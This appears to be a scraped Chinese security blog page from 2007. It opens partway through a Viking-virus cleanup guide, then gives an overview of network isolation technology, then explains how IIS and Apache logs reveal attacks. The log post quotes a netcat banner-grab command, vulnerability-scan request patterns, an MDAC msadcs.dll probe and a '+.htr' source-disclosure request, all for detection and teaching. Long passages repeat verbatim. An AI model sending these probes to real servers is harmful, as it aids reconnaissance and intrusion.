在左边“文件夹”框中依次点Documents and Settings→用户帐户名→Local Settings→Temp;
用鼠标点一下右边的任何地方,再点“编辑”→全部选定,然后按Shift+Delete来删除TEMP文件夹下的所有文件。
5、开始→运行,键入msconfig,打开“系统配置实用程序”界面,点“启动”,找出可疑的启动项,如“命令”项有windows\rundll32.exe、windows\logo1.exe,windows\down\rundll32.exe等的启动项;再回到第4步里的“资源管理器”界面,找到rundll32.exe、logo1.exe并删除;
6、再运行regedit打开注册表,编辑→查找,键入run,并勾选“全字匹配”,然后开始查找,如果看到run项中有可疑的、指向上述病毒的键值,则删除该键(注意:不是删除run项),按F3继续查找,删除与病毒有关的键,直至查找完毕;
7、点“开始”→搜索→文件或文件夹→所有文件和文件夹,最大化窗口,文件名栏填“_desktop.ini” , “更多高级选项”中勾选“搜索系统文件夹”、“搜索隐藏的文件和文件夹”、“搜索子文件夹” ,然后点“搜索”,搜索完后,单击“编辑”→全部选定,再按Shift+Delete删除所有找到的“_desktop.ini文件。
经过上述处理后,即使重启系统,病毒一般不会随系统而启动了。为了保险起见,可以在第5步中点“服务”,勾选“隐藏所有Microsoft服务”,把所有项目前面的√去掉(如果是杀毒软件的,到系统正常后再恢复就可以了);
二、下载专杀工具,清除病毒,挽救硬盘数据
重启系统,再次按F8键,选“带网络的安全模式”(正常启动也可以,但为保险起见,还是进入安全模式),打开IE,登录“江民(www.jiangmin.com)网站”或“瑞星(www.rising.com.cn)网站”,下载威金专杀工具,保存到“桌面”或其它地方,下载完后,运行它,便进入了清除病毒的过程。
过一段时间后,病毒就清除完毕。再重启系统,系统就正常了,所有EXE文件也可以用了。
再强调一下,上述是有关“威金变种病毒”的查杀方法,很多人可能同时也中了其它病毒,因此,建议在处理“威金变种病毒”后,安装杀毒软件,升级病毒库,进行全盘杀毒。
网络隔离技术安全要素 发展方向概述
[ 2007-03-25 03:59:01 | 作者: sun ]
面对新型网络攻击手段的出现和高安全度网络对安全的特殊需求,全新安全防护防范理念的网络安全技术——“网络隔离技术”应运而生。
网络隔离技术的目标是确保把有害的攻击隔离,在可信网络之外和保证可信网络内部信息不外泄的前提下,完成网间数据的安全交换。网络隔离技术是在原有安全技术的基础上发展起来的,它弥补了原有安全技术的不足,突出了自己的优势。
隔离技术的发展历程
网络隔离,英文名为Network Isolation,主要是指把两个或两个以上可路由的网络(如:TCP/IP)通过不可路由的协议(如:IPX/SPX、NetBEUI等)进行数据交换而达到隔离目的。由于其原理主要是采用了不同的协议,所以通常也叫协议隔离(Protocol Isolation)。1997年,信息安全专家Mark Joseph Edwards在他编写的《Understanding Network Security》一书中,他就对协议隔离进行了归类。在书中他明确地指出了协议隔离和防火墙不属于同类产品。
隔离概念是在为了保护高安全度网络环境的情况下产生的;隔离产品的大量出现,也是经历了五代隔离技术不断的实践和理论相结合后得来的。
第一代隔离技术——完全的隔离。此方法使得网络处于信息孤岛状态,做到了完全的物理隔离,需要至少两套网络和系统,更重要的是信息交流的不便和成本的提高,这样给维护和使用带来了极大的不便。
第二代隔离技术——硬件卡隔离。在客户端增加一块硬件卡,客户端硬盘或其他存储设备首先连接到该卡,然后再转接到主板上,通过该卡能控制客户端硬盘或其他存储设备。而在选择不同的硬盘时,同时选择了该卡上不同的网络接口,连接到不同的网络。但是,这种隔离产品有的仍然需要网络布线为双网线结构,产品存在着较大的安全隐患。
第三代隔离技术—数据转播隔离。利用转播系统分时复制文件的途径来实现隔离,切换时间非常之久,甚至需要手工完成,不仅明显地减缓了访问速度,更不支持常见的网络应用,失去了网络存在的意义。
第四代隔离技术—空气开关隔离。它是通过使用单刀双掷开关,使得内外部网络分时访问临时缓存器来完成数据交换的,但在安全和性能上存在有许多问题。
第五代隔离技术—安全通道隔离。此技术通过专用通信硬件和专有安全协议等安全机制,来实现内外部网络的隔离和数据交换,不仅解决了以前隔离技术存在的问题,并有效地把内外部网络隔离开来,而且高效地实现了内外网数据的安全交换,透明支持多种网络应用,成为当前隔离技术的发展方向。
隔离技术需具备的安全要点
要具有高度的自身安全性 隔离产品要保证自身具有高度的安全性,至少在理论和实践上要比防火墙高一个安全级别。从技术实现上,除了和防火墙一样对操作系统进行加固优化或采用安全操作系统外,关键在于要把外网接口和内网接口从一套操作系统中分离出来。也就是说至少要由两套主机系统组成,一套控制外网接口,另一套控制内网接口,然后在两套主机系统之间通过不可路由的协议进行数据交换,如此,既便黑客攻破了外网系统,仍然无法控制内网系统,就达到了更高的安全级别。
要确保网络之间是隔离的 保证网间隔离的关键是网络包不可路由到对方网络,无论中间采用了什么转换方法,只要最终使得一方的网络包能够进入到对方的网络中,都无法称之为隔离,即达不到隔离的效果。显然,只是对网间的包进行转发,并且允许建立端到端连接的防火墙,是没有任何隔离效果的。此外,那些只是把网络包转换为文本,交换到对方网络后,再把文本转换为网络包的产品也是没有做到隔离的。
要保证网间交换的只是应用数据 既然要达到网络隔离,就必须做到彻底防范基于网络协议的攻击,即不能够让网络层的攻击包到达要保护的网络中,所以就必须进行协议分析,完成应用层数据的提取,然后进行数据交换,这样就把诸如TearDrop、Land、Smurf和SYN Flood等网络攻击包,彻底地阻挡在了可信网络之外,从而明显地增强了可信网络的安全性。
要对网间的访问进行严格的控制和检查 作为一套适用于高安全度网络的安全设备,要确保每次数据交换都是可信的和可控制的,严格防止非法通道的出现,以确保信息数据的安全和访问的可审计性。所以必须施加以一定的技术,保证每一次数据交换过程都是可信的,并且内容是可控制的,可采用基于会话的认证技术和内容分析与控制引擎等技术来实现。
要在坚持隔离的前提下保证网络畅通和应用透明 隔离产品会部署在多种多样的复杂网络环境中,并且往往是数据交换的关键点,因此,产品要具有很高的处理性能,不能够成为网络交换的瓶颈,要有很好的稳定性;不能够出现时断时续的情况,要有很强的适应性,能够透明接入网络,并且透明支持多种应用。
网络隔离的关键点
网络隔离的关键是在于系统对通信数据的控制,即通过不可路由的协议来完成网间的数据交换。由于通信硬件设备工作在网络七层的最下层,并不能感知到交换数据的机密性、完整性、可用性、可控性、抗抵赖等安全要素,所以这要通过访问控制、身份认证、加密签名等安全机制来实现,而这些机制的实现都是通过软件来实现的。
因此,隔离的关键点就成了要尽量提高网间数据交换的速度,并且对应用能够透明支持,以适应复杂和高带宽需求的网间数据交换。而由于设计原理问题使得第三代和第四代隔离产品在这方面很难突破,既便有所改进也必须付出巨大的成本,和“适度安全”理念相悖。
隔离技术的未来发展方向
第五代隔离技术的出现,是在对市场上网络隔离产品和高安全度网需求的详细分析情况下产生的,它不仅很好地解决了第三代和第四代很难解决的速度瓶颈问题,并且先进的安全理念和设计思路,明显地提升了产品的安全功能,是一种创新的隔离防护手段。
隔离原理 第五代隔离技术的实现原理是通过专用通信设备、专有安全协议和加密验证机制及应用层数据提取和鉴别认证技术,进行不同安全级别网络之间的数据交换,彻底阻断了网络间的直接TCP/IP连接,同时对网间通信的双方、内容、过程施以严格的身份认证、内容过滤、安全审计等多种安全防护机制,从而保证了网间数据交换的安全、可控,杜绝了由于操作系统和网络协议自身漏洞带来的安全风险。
网络隔离技术的目标是确保把有害的攻击隔离,在可信网络之外和保证可信网络内部信息不外泄的前提下,完成网间数据的安全交换。网络隔离技术是在原有安全技术的基础上发展起来的,它弥补了原有安全技术的不足,突出了自己的优势。
隔离技术的发展历程
网络隔离,英文名为Network Isolation,主要是指把两个或两个以上可路由的网络(如:TCP/IP)通过不可路由的协议(如:IPX/SPX、NetBEUI等)进行数据交换而达到隔离目的。由于其原理主要是采用了不同的协议,所以通常也叫协议隔离(Protocol Isolation)。1997年,信息安全专家Mark Joseph Edwards在他编写的《Understanding Network Security》一书中,他就对协议隔离进行了归类。在书中他明确地指出了协议隔离和防火墙不属于同类产品。
隔离概念是在为了保护高安全度网络环境的情况下产生的;隔离产品的大量出现,也是经历了五代隔离技术不断的实践和理论相结合后得来的。
第一代隔离技术——完全的隔离。此方法使得网络处于信息孤岛状态,做到了完全的物理隔离,需要至少两套网络和系统,更重要的是信息交流的不便和成本的提高,这样给维护和使用带来了极大的不便。
第二代隔离技术——硬件卡隔离。在客户端增加一块硬件卡,客户端硬盘或其他存储设备首先连接到该卡,然后再转接到主板上,通过该卡能控制客户端硬盘或其他存储设备。而在选择不同的硬盘时,同时选择了该卡上不同的网络接口,连接到不同的网络。但是,这种隔离产品有的仍然需要网络布线为双网线结构,产品存在着较大的安全隐患。
第三代隔离技术—数据转播隔离。利用转播系统分时复制文件的途径来实现隔离,切换时间非常之久,甚至需要手工完成,不仅明显地减缓了访问速度,更不支持常见的网络应用,失去了网络存在的意义。
第四代隔离技术—空气开关隔离。它是通过使用单刀双掷开关,使得内外部网络分时访问临时缓存器来完成数据交换的,但在安全和性能上存在有许多问题。
第五代隔离技术—安全通道隔离。此技术通过专用通信硬件和专有安全协议等安全机制,来实现内外部网络的隔离和数据交换,不仅解决了以前隔离技术存在的问题,并有效地把内外部网络隔离开来,而且高效地实现了内外网数据的安全交换,透明支持多种网络应用,成为当前隔离技术的发展方向。
隔离技术需具备的安全要点
要具有高度的自身安全性 隔离产品要保证自身具有高度的安全性,至少在理论和实践上要比防火墙高一个安全级别。从技术实现上,除了和防火墙一样对操作系统进行加固优化或采用安全操作系统外,关键在于要把外网接口和内网接口从一套操作系统中分离出来。也就是说至少要由两套主机系统组成,一套控制外网接口,另一套控制内网接口,然后在两套主机系统之间通过不可路由的协议进行数据交换,如此,既便黑客攻破了外网系统,仍然无法控制内网系统,就达到了更高的安全级别。
要确保网络之间是隔离的 保证网间隔离的关键是网络包不可路由到对方网络,无论中间采用了什么转换方法,只要最终使得一方的网络包能够进入到对方的网络中,都无法称之为隔离,即达不到隔离的效果。显然,只是对网间的包进行转发,并且允许建立端到端连接的防火墙,是没有任何隔离效果的。此外,那些只是把网络包转换为文本,交换到对方网络后,再把文本转换为网络包的产品也是没有做到隔离的。
要保证网间交换的只是应用数据 既然要达到网络隔离,就必须做到彻底防范基于网络协议的攻击,即不能够让网络层的攻击包到达要保护的网络中,所以就必须进行协议分析,完成应用层数据的提取,然后进行数据交换,这样就把诸如TearDrop、Land、Smurf和SYN Flood等网络攻击包,彻底地阻挡在了可信网络之外,从而明显地增强了可信网络的安全性。
要对网间的访问进行严格的控制和检查 作为一套适用于高安全度网络的安全设备,要确保每次数据交换都是可信的和可控制的,严格防止非法通道的出现,以确保信息数据的安全和访问的可审计性。所以必须施加以一定的技术,保证每一次数据交换过程都是可信的,并且内容是可控制的,可采用基于会话的认证技术和内容分析与控制引擎等技术来实现。
要在坚持隔离的前提下保证网络畅通和应用透明 隔离产品会部署在多种多样的复杂网络环境中,并且往往是数据交换的关键点,因此,产品要具有很高的处理性能,不能够成为网络交换的瓶颈,要有很好的稳定性;不能够出现时断时续的情况,要有很强的适应性,能够透明接入网络,并且透明支持多种应用。
网络隔离的关键点
网络隔离的关键是在于系统对通信数据的控制,即通过不可路由的协议来完成网间的数据交换。由于通信硬件设备工作在网络七层的最下层,并不能感知到交换数据的机密性、完整性、可用性、可控性、抗抵赖等安全要素,所以这要通过访问控制、身份认证、加密签名等安全机制来实现,而这些机制的实现都是通过软件来实现的。
因此,隔离的关键点就成了要尽量提高网间数据交换的速度,并且对应用能够透明支持,以适应复杂和高带宽需求的网间数据交换。而由于设计原理问题使得第三代和第四代隔离产品在这方面很难突破,既便有所改进也必须付出巨大的成本,和“适度安全”理念相悖。
隔离技术的未来发展方向
第五代隔离技术的出现,是在对市场上网络隔离产品和高安全度网需求的详细分析情况下产生的,它不仅很好地解决了第三代和第四代很难解决的速度瓶颈问题,并且先进的安全理念和设计思路,明显地提升了产品的安全功能,是一种创新的隔离防护手段。
隔离原理 第五代隔离技术的实现原理是通过专用通信设备、专有安全协议和加密验证机制及应用层数据提取和鉴别认证技术,进行不同安全级别网络之间的数据交换,彻底阻断了网络间的直接TCP/IP连接,同时对网间通信的双方、内容、过程施以严格的身份认证、内容过滤、安全审计等多种安全防护机制,从而保证了网间数据交换的安全、可控,杜绝了由于操作系统和网络协议自身漏洞带来的安全风险。
从服务器的记录寻找黑客的蛛丝马迹
[ 2007-03-25 03:58:49 | 作者: sun ]
当服务器被攻击时,最容易被人忽略的地方,就是记录文件,服务器的记录文件了黑客活动的蛛丝马迹。在这里,我为大家介绍一下两种常见的网页服务器中最重要的记录文件,分析服务器遭到攻击后,黑客在记录文件中留下什么记录。
目前最常见的网页服务器有两种:Apache和微软的Internet Information Server (简称IIS)。这两种服务器都有一般版本和SSL认证版本,方便黑客对加密和未加密的服务器进行攻击。
IIS的预设记录文件地址在 c:winntsystem32logfilesw3svc1的目录下,文件名是当天的日期,如yymmdd.log。系统会每天产生新的记录文件。预设的格式是W3C延伸记录文件格式(W3C Extended Log File Format),很多相关软件都可以解译、分析这种格式的档案。记录文件在预设的状况下会记录时间、客户端IP地址、method(GET、POST等)、URI stem(要求的资源)、和HTTP状态(数字状态代码)。这些字段大部分都一看就懂,可是HTTP状态就需要解读了。一般而言,如果代码是在200到299代表成功。常见的200状态码代表符合客户端的要求。300到399代表必须由客户端采取动作才能满足所提出的要求。400到499和500到599代表客户端和服务器有问题。最常见的状态代码有两个,一个是404,代表客户端要求的资源不在服务器上,403代表的是所要求的资源拒绝服务。Apache记录文件的预设储存位置在/usr/local/apache/logs。最有价值的记录文件是access_log,不过 ssl_request_log和ssl_engine_log也能提供有用的资料。 access_log记录文件有七个字段,包括客户端IP地址、特殊人物识别符、用户名称、日期、Method Resource Protocol(GET、POST等;要求哪些资源;然后是协议的版本)、HTTP状态、还有传输的字节。
我在这里所用的是与黑客用的相似的模拟攻击网站方式和工具。(注意:在本文中所介绍的方法请大家不要试用,请大家自觉遵守网络准则!)
分析过程
网页服务器版本是很重要的信息,黑客一般先向网页服务器提出要求,让服务器送回本身的版本信息。只要把「HEAD / HTTP/1.0」这个字符串用常见的netcat utility(相关资料网址:http://www.l0pht.com/~weld/netcat/)和OpenSSL binary(相关资料网址:http://www.openssl.org/)送到开放服务器的通讯端口就成了。注意看下面的示范:
C:>nc -n 10.0.2.55 80
HEAD / HTTP/1.0
HTTP/1.1 200 OK
Server: Microsoft-IIS/4.0
Date: Sun, 08 Mar 2001 14:31:00 GMT
Content-Type: text/html
Set-Cookie: ASPSESSIONIDGQQQQQPA=IHOJAGJDECOLLGIBNKMCEEED; path=/
Cache-control: private
这种形式的要求在IIS和Apache的记录文件中会生成以下记录:
IIS: 15:08:44 11.1.2.80 HEAD /Default.asp 200
Linux: 11.1.2.80 - - [08/Mar/2001:15:56:39 -0700] "HEAD / HTTP/1.0" 200 0
虽然这类要求合法,看似很平常,不过却常常是网络攻击的前奏曲。access_log和IIS的记录文件没有表明这个要求是连到SSL服务器还是一般的网页服务器,可是Apache的 ssl_request_log和ssl_engine_log(在/usr/local/apache/logs目录下)这两个记录文件就会记录是否有联机到SSL服务器。请看以下的ssl_request_log记录文件:
[07/Mar/2001:15:32:52 -0700] 11.1.1.50 SSLv3 EDH-RSA-DES-CBC3-SHA "HEAD / HTTP/1.0" 0
第三和第四个字段表示客户端使用的是哪种加密方式。以下的ssl_request_log分别记录从OpenSSL、 Internet Explorer和Netscape客户端程序发出的要求。
[07/Mar/2001:15:48:26 -0700] 11.1.1.50 SSLv3 EDH-RSA-DES-CBC3-SHA "GET / HTTP/1.0" 2692
[07/Mar/2001:15:52:51 -0700] 10.0.2.55 TLSv1 RC4-MD5 "GET / HTTP/1.1" 2692
[07/Mar/2001:15:54:46 -0700] 11.1.1.50 SSLv3 EXP-RC4-MD5 "GET / HTTP/1.0" 2692
[07/Mar/2001:15:55:34 –0700] 11.1.2.80 SSLv3 RC4-MD5 “GET / HTTP/1.0” 2692
另外黑客通常会复制一个网站(也就是所谓的镜射网站。),来取得发动攻击所需要的信息。网页原始码中的批注字段常有目录、文件名甚至密码的有用资料。复制网站常用的工具包括窗口系统的Teleport Pro(网址:http://www.tenmax.com/teleport/pro/home.htm)和Unix系统的wget(网址:http://www.gnu.org/manual/wget/)。在这里我为大家分析wget和TeleportPro这两个软件攻击网页服务器后记录文件中的内容。这两个软件能全面快速搜寻整个网站,对所有公开的网页提出要求。只要检查一下记录文件就知道,要解译镜射这个动作是很简单的事。以下是IIS的记录文件:
16:28:52 11.1.2.80 GET /Default.asp 200
16:28:52 11.1.2.80 GET /robots.txt 404
16:28:52 11.1.2.80 GET /header_protecting_your_privacy.gif 200
16:28:52 11.1.2.80 GET /header_fec_reqs.gif 200
16:28:55 11.1.2.80 GET /photo_contribs_sidebar.jpg 200
16:28:55 11.1.2.80 GET /g2klogo_white_bgd.gif 200
16:28:55 11.1.2.80 GET /header_contribute_on_line.gif 200
注:11.1.2.80这个主机是Unix系统的客户端,是用wget软件发出请求。
16:49:01 11.1.1.50 GET /Default.asp 200
16:49:01 11.1.1.50 GET /robots.txt 404
16:49:01 11.1.1.50 GET /header_contribute_on_line.gif 200
16:49:01 11.1.1.50 GET /g2klogo_white_bgd.gif 200
16:49:01 11.1.1.50 GET /photo_contribs_sidebar.jpg 200
16:49:01 11.1.1.50 GET /header_fec_reqs.gif 200
16:49:01 11.1.1.50 GET /header_protecting_your_privacy.gif 200
注:11.1.1.50系统是窗口环境的客户端,用的是TeleportPro发出请求。
注意:以上两个主机都要求robots.txt这个档,其实这个档案是网页管理员的工具,作用是防止wget和TeleportPro这类自动抓文件软件对某些网页从事抓取或搜寻的动作。如果有人提出robots.txt档的要求,常常代表是要镜射整个网站。但,TeleportPro和wget这两个软件都可以把要求robots.txt这个文件的功能取消。另一个侦测镜射动作的方式,是看看有没有同一个客户端IP反复提出资源要求。
黑客还可以用网页漏洞稽核软件:Whisker(网址:http://www.wiretrip.net/),来侦查网页服务器有没有安全后门(主要是检查有没有cgi-bin程序,这种程序会让系统产生安全漏洞)。以下是IIS和Apache网页服务器在执行Whisker后产生的部分记录文件。
IIS:
13:17:56 11.1.1.50 GET /SiteServer/Publishing/viewcode.asp 404
13:17:56 11.1.1.50 GET /msadc/samples/adctest.asp 200
13:17:56 11.1.1.50 GET /advworks/equipment/catalog_type.asp 404
13:17:56 11.1.1.50 GET /iisadmpwd/aexp4b.htr 200
13:17:56 11.1.1.50 HEAD /scripts/samples/details.idc 200
13:17:56 11.1.1.50 GET /scripts/samples/details.idc 200
13:17:56 11.1.1.50 HEAD /scripts/samples/ctguestb.idc 200
13:17:56 11.1.1.50 GET /scripts/samples/ctguestb.idc 200
13:17:56 11.1.1.50 HEAD /scripts/tools/newdsn.exe 404
13:17:56 11.1.1.50 HEAD /msadc/msadcs.dll 200
13:17:56 11.1.1.50 GET /scripts/iisadmin/bdir.htr 200
13:17:56 11.1.1.50 HEAD /carbo.dll 404
13:17:56 11.1.1.50 HEAD /scripts/proxy/ 403
13:17:56 11.1.1.50 HEAD /scripts/proxy/w3proxy.dll 500
13:17:56 11.1.1.50 GET /scripts/proxy/w3proxy.dll 500
Apache:
11.1.1.50 - - [08/Mar/2001:12:57:28 -0700] "GET /cfcache.map HTTP/1.0" 404 266
11.1.1.50 - - [08/Mar/2001:12:57:28 -0700] "GET /cfide/Administrator/startstop.html HTTP/1.0" 404 289
11.1.1.50 - - [08/Mar/2001:12:57:28 -0700] "GET /cfappman/index.cfm HTTP/1.0" 404 273
11.1.1.50 - - [08/Mar/2001:12:57:28 -0700] "GET /cgi-bin/ HTTP/1.0" 403 267
11.1.1.50 - - [08/Mar/2001:12:57:29 -0700] "GET /cgi-bin/dbmlparser.exe HTTP/1.0" 404 277
11.1.1.50 - - [08/Mar/2001:12:57:29 -0700] "HEAD /_vti_inf.html HTTP/1.0" 404 0
11.1.1.50 - - [08/Mar/2001:12:57:29 -0700] "HEAD /_vti_pvt/ HTTP/1.0" 404 0
11.1.1.50 - - [08/Mar/2001:12:57:29 -0700] "HEAD /cgi-bin/webdist.cgi HTTP/1.0" 404 0
11.1.1.50 - - [08/Mar/2001:12:57:29 -0700] "HEAD /cgi-bin/handler HTTP/1.0" 404 0
11.1.1.50 - - [08/Mar/2001:12:57:29 -0700] "HEAD /cgi-bin/wrap HTTP/1.0" 404 0
11.1.1.50 - - [08/Mar/2001:12:57:29 -0700] "HEAD /cgi-bin/pfdisplay.cgi HTTP/1.0" 404 0
大家要侦测这类攻击的关键,就在于从单一IP地址发出大量的404 HTTP状态代码。只要注意到这类信息,就可以分析对方要求的资源;于是它们就会拼命要求提供 cgi-bin scripts(Apache 服务器的 cgi-bin 目录;IIS服务器的 scripts目录)。
小结
网页如果被人探访过,总会在记录文件留下什么线索。如果网页管理员警觉性够高,应该会把分析记录文件作为追查线索,并且在检查后发现网站真的有漏洞时,就能预测会有黑客攻击网站。
接下来我要向大家示范两种常见的网页服务器攻击方式,分析服务器在受到攻击后黑客在记录文件中痕迹。
(1)MDAC攻击
MDAC攻击法可以让网页的客户端在IIS网页服务器上执行命令。如果有人开始攻击IIS服务器,记录文件就会记下客户端曾经呼叫msadcs.dll文档:
17:48:49 12.1.2.8 GET /msadc/msadcs.dll 200
17:48:51 12.1.2.8 POST /msadc/msadcs.dll 200
(2)利用原始码漏洞
第二种攻击方式也很普遍,就是会影响ASP和Java网页的暴露原始码漏洞。 最晚被发现的安全漏洞是 +.htr 臭虫,这个bug会显示ASP原始码。 如果有人利用这个漏洞攻击,就会在IIS的记录文件里面留下这些线索:
17:50:13 11.1.2.80 GET /default.asp+.htr 200
网页常会只让有权限的使用者进入。接下来我们要让各位看 Apache的access_log记录文件会在登录失败时留下什么线索:
12.1.2.8 - user [08/Mar/2001:18:58:29 -0700] "GET /private/ HTTP/1.0" 401 462
注:第三栏里面的使用者名称是「user」。还有要注意HTTP的状态代号是401,代表非法存取。
目前最常见的网页服务器有两种:Apache和微软的Internet Information Server (简称IIS)。这两种服务器都有一般版本和SSL认证版本,方便黑客对加密和未加密的服务器进行攻击。
IIS的预设记录文件地址在 c:winntsystem32logfilesw3svc1的目录下,文件名是当天的日期,如yymmdd.log。系统会每天产生新的记录文件。预设的格式是W3C延伸记录文件格式(W3C Extended Log File Format),很多相关软件都可以解译、分析这种格式的档案。记录文件在预设的状况下会记录时间、客户端IP地址、method(GET、POST等)、URI stem(要求的资源)、和HTTP状态(数字状态代码)。这些字段大部分都一看就懂,可是HTTP状态就需要解读了。一般而言,如果代码是在200到299代表成功。常见的200状态码代表符合客户端的要求。300到399代表必须由客户端采取动作才能满足所提出的要求。400到499和500到599代表客户端和服务器有问题。最常见的状态代码有两个,一个是404,代表客户端要求的资源不在服务器上,403代表的是所要求的资源拒绝服务。Apache记录文件的预设储存位置在/usr/local/apache/logs。最有价值的记录文件是access_log,不过 ssl_request_log和ssl_engine_log也能提供有用的资料。 access_log记录文件有七个字段,包括客户端IP地址、特殊人物识别符、用户名称、日期、Method Resource Protocol(GET、POST等;要求哪些资源;然后是协议的版本)、HTTP状态、还有传输的字节。
我在这里所用的是与黑客用的相似的模拟攻击网站方式和工具。(注意:在本文中所介绍的方法请大家不要试用,请大家自觉遵守网络准则!)
分析过程
网页服务器版本是很重要的信息,黑客一般先向网页服务器提出要求,让服务器送回本身的版本信息。只要把「HEAD / HTTP/1.0」这个字符串用常见的netcat utility(相关资料网址:http://www.l0pht.com/~weld/netcat/)和OpenSSL binary(相关资料网址:http://www.openssl.org/)送到开放服务器的通讯端口就成了。注意看下面的示范:
C:>nc -n 10.0.2.55 80
HEAD / HTTP/1.0
HTTP/1.1 200 OK
Server: Microsoft-IIS/4.0
Date: Sun, 08 Mar 2001 14:31:00 GMT
Content-Type: text/html
Set-Cookie: ASPSESSIONIDGQQQQQPA=IHOJAGJDECOLLGIBNKMCEEED; path=/
Cache-control: private
这种形式的要求在IIS和Apache的记录文件中会生成以下记录:
IIS: 15:08:44 11.1.2.80 HEAD /Default.asp 200
Linux: 11.1.2.80 - - [08/Mar/2001:15:56:39 -0700] "HEAD / HTTP/1.0" 200 0
虽然这类要求合法,看似很平常,不过却常常是网络攻击的前奏曲。access_log和IIS的记录文件没有表明这个要求是连到SSL服务器还是一般的网页服务器,可是Apache的 ssl_request_log和ssl_engine_log(在/usr/local/apache/logs目录下)这两个记录文件就会记录是否有联机到SSL服务器。请看以下的ssl_request_log记录文件:
[07/Mar/2001:15:32:52 -0700] 11.1.1.50 SSLv3 EDH-RSA-DES-CBC3-SHA "HEAD / HTTP/1.0" 0
第三和第四个字段表示客户端使用的是哪种加密方式。以下的ssl_request_log分别记录从OpenSSL、 Internet Explorer和Netscape客户端程序发出的要求。
[07/Mar/2001:15:48:26 -0700] 11.1.1.50 SSLv3 EDH-RSA-DES-CBC3-SHA "GET / HTTP/1.0" 2692
[07/Mar/2001:15:52:51 -0700] 10.0.2.55 TLSv1 RC4-MD5 "GET / HTTP/1.1" 2692
[07/Mar/2001:15:54:46 -0700] 11.1.1.50 SSLv3 EXP-RC4-MD5 "GET / HTTP/1.0" 2692
[07/Mar/2001:15:55:34 –0700] 11.1.2.80 SSLv3 RC4-MD5 “GET / HTTP/1.0” 2692
另外黑客通常会复制一个网站(也就是所谓的镜射网站。),来取得发动攻击所需要的信息。网页原始码中的批注字段常有目录、文件名甚至密码的有用资料。复制网站常用的工具包括窗口系统的Teleport Pro(网址:http://www.tenmax.com/teleport/pro/home.htm)和Unix系统的wget(网址:http://www.gnu.org/manual/wget/)。在这里我为大家分析wget和TeleportPro这两个软件攻击网页服务器后记录文件中的内容。这两个软件能全面快速搜寻整个网站,对所有公开的网页提出要求。只要检查一下记录文件就知道,要解译镜射这个动作是很简单的事。以下是IIS的记录文件:
16:28:52 11.1.2.80 GET /Default.asp 200
16:28:52 11.1.2.80 GET /robots.txt 404
16:28:52 11.1.2.80 GET /header_protecting_your_privacy.gif 200
16:28:52 11.1.2.80 GET /header_fec_reqs.gif 200
16:28:55 11.1.2.80 GET /photo_contribs_sidebar.jpg 200
16:28:55 11.1.2.80 GET /g2klogo_white_bgd.gif 200
16:28:55 11.1.2.80 GET /header_contribute_on_line.gif 200
注:11.1.2.80这个主机是Unix系统的客户端,是用wget软件发出请求。
16:49:01 11.1.1.50 GET /Default.asp 200
16:49:01 11.1.1.50 GET /robots.txt 404
16:49:01 11.1.1.50 GET /header_contribute_on_line.gif 200
16:49:01 11.1.1.50 GET /g2klogo_white_bgd.gif 200
16:49:01 11.1.1.50 GET /photo_contribs_sidebar.jpg 200
16:49:01 11.1.1.50 GET /header_fec_reqs.gif 200
16:49:01 11.1.1.50 GET /header_protecting_your_privacy.gif 200
注:11.1.1.50系统是窗口环境的客户端,用的是TeleportPro发出请求。
注意:以上两个主机都要求robots.txt这个档,其实这个档案是网页管理员的工具,作用是防止wget和TeleportPro这类自动抓文件软件对某些网页从事抓取或搜寻的动作。如果有人提出robots.txt档的要求,常常代表是要镜射整个网站。但,TeleportPro和wget这两个软件都可以把要求robots.txt这个文件的功能取消。另一个侦测镜射动作的方式,是看看有没有同一个客户端IP反复提出资源要求。
黑客还可以用网页漏洞稽核软件:Whisker(网址:http://www.wiretrip.net/),来侦查网页服务器有没有安全后门(主要是检查有没有cgi-bin程序,这种程序会让系统产生安全漏洞)。以下是IIS和Apache网页服务器在执行Whisker后产生的部分记录文件。
IIS:
13:17:56 11.1.1.50 GET /SiteServer/Publishing/viewcode.asp 404
13:17:56 11.1.1.50 GET /msadc/samples/adctest.asp 200
13:17:56 11.1.1.50 GET /advworks/equipment/catalog_type.asp 404
13:17:56 11.1.1.50 GET /iisadmpwd/aexp4b.htr 200
13:17:56 11.1.1.50 HEAD /scripts/samples/details.idc 200
13:17:56 11.1.1.50 GET /scripts/samples/details.idc 200
13:17:56 11.1.1.50 HEAD /scripts/samples/ctguestb.idc 200
13:17:56 11.1.1.50 GET /scripts/samples/ctguestb.idc 200
13:17:56 11.1.1.50 HEAD /scripts/tools/newdsn.exe 404
13:17:56 11.1.1.50 HEAD /msadc/msadcs.dll 200
13:17:56 11.1.1.50 GET /scripts/iisadmin/bdir.htr 200
13:17:56 11.1.1.50 HEAD /carbo.dll 404
13:17:56 11.1.1.50 HEAD /scripts/proxy/ 403
13:17:56 11.1.1.50 HEAD /scripts/proxy/w3proxy.dll 500
13:17:56 11.1.1.50 GET /scripts/proxy/w3proxy.dll 500
Apache:
11.1.1.50 - - [08/Mar/2001:12:57:28 -0700] "GET /cfcache.map HTTP/1.0" 404 266
11.1.1.50 - - [08/Mar/2001:12:57:28 -0700] "GET /cfide/Administrator/startstop.html HTTP/1.0" 404 289
11.1.1.50 - - [08/Mar/2001:12:57:28 -0700] "GET /cfappman/index.cfm HTTP/1.0" 404 273
11.1.1.50 - - [08/Mar/2001:12:57:28 -0700] "GET /cgi-bin/ HTTP/1.0" 403 267
11.1.1.50 - - [08/Mar/2001:12:57:29 -0700] "GET /cgi-bin/dbmlparser.exe HTTP/1.0" 404 277
11.1.1.50 - - [08/Mar/2001:12:57:29 -0700] "HEAD /_vti_inf.html HTTP/1.0" 404 0
11.1.1.50 - - [08/Mar/2001:12:57:29 -0700] "HEAD /_vti_pvt/ HTTP/1.0" 404 0
11.1.1.50 - - [08/Mar/2001:12:57:29 -0700] "HEAD /cgi-bin/webdist.cgi HTTP/1.0" 404 0
11.1.1.50 - - [08/Mar/2001:12:57:29 -0700] "HEAD /cgi-bin/handler HTTP/1.0" 404 0
11.1.1.50 - - [08/Mar/2001:12:57:29 -0700] "HEAD /cgi-bin/wrap HTTP/1.0" 404 0
11.1.1.50 - - [08/Mar/2001:12:57:29 -0700] "HEAD /cgi-bin/pfdisplay.cgi HTTP/1.0" 404 0
大家要侦测这类攻击的关键,就在于从单一IP地址发出大量的404 HTTP状态代码。只要注意到这类信息,就可以分析对方要求的资源;于是它们就会拼命要求提供 cgi-bin scripts(Apache 服务器的 cgi-bin 目录;IIS服务器的 scripts目录)。
小结
